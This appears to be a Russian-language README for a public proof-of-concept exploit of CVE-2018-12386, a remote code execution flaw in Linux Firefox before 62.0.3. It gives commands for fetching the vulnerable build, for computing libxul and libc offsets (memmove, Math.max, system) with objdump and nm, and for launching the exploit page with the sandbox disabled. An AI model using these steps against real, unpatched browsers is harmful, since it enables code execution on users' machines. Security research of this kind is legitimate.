
CVE-2018-12386 - Эксплойт RCE в песочнице Firefox для Linux (Firefox <v62.0.3)
Здесь представлен простой эксплойт для уязвимости CVE-2018-12386, найденной Никласом Баумстарком, Самуэлем Гроссом и Бруно Кейтом.
В основном это PoC, сделанный для развлечения; здесь нет обхода песочницы, и он будет работать
только на определенной конфигурации Linux, где смещения, используемые эксплойтом, уже
известны (их можно изменить в файле exploit/offsets.js).
Этот эксплойт работает для версий до Firefox 62.0.3 и Firefox ESR 60.2.2.
Вы можете загрузить прошлые версии Firefox напрямую с FTP-сервера Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Например, вы можете использовать версию 62.0.2 для 64-битного Linux: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soЕсли вы используете Firefox 62.0.2, смещения, указанные в exploit/offsets.js,
должны быть правильными.
Для других версий простой способ — использовать
примитив addrof для утечки адреса функции JavaScript
Math.max, затем найти базовый адрес libxul.so для экземпляра
Firefox, который вы эксплуатируете (например, с помощью cat /proc/$(pidof firefox)/maps),
и вычесть один из другого, чтобы получить смещение libxul_math_max.
Если вы используете Firefox 62.0.2, смещения, указанные в exploit/offsets.js,
должны быть правильными.
Для других версий простой способ — использовать objdump.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 — это необходимое значение, т.е. смещение memmove в libxul.so.
libc.so.6Эти смещения полностью зависят от используемой вами версии libc.
# Расположение libc.so.6
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
После того как у вас есть Firefox и правильные смещения, вы можете протестировать эксплойт, запустив следующую команду:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Если хотите поздороваться: @Asri3l